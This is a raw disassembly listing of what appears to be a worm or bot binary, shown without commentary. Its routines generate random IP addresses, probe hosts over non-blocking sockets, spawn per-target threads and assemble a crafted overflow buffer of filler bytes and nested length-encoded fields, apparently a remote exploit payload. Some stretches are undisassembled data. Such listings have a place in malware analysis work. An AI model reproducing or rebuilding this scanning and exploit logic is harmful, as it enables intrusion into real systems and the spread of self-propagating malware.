[ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 269061Dh nop push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A7C push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A54 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 call near ptr 77F7E300h nop jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431414[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call near ptr 2670ECAh nop jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26E0000h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26E06D6h push 80000400h push esi call near ptr 26E04D8h nop test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B60 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B2C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2680925h push eax lea eax, [ebp+var_1CC] push offset unk_431AF4 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AB4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26E06D6h loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26E0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B94 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BBC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 11E85757h, 90022739h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0D9E890FCh, 0FF022541h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 1068FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 27381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 22540E8h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0E468FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8F0 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C50 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FCC lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C54 lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FC0 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FBC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB8 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FAC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FA7+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, 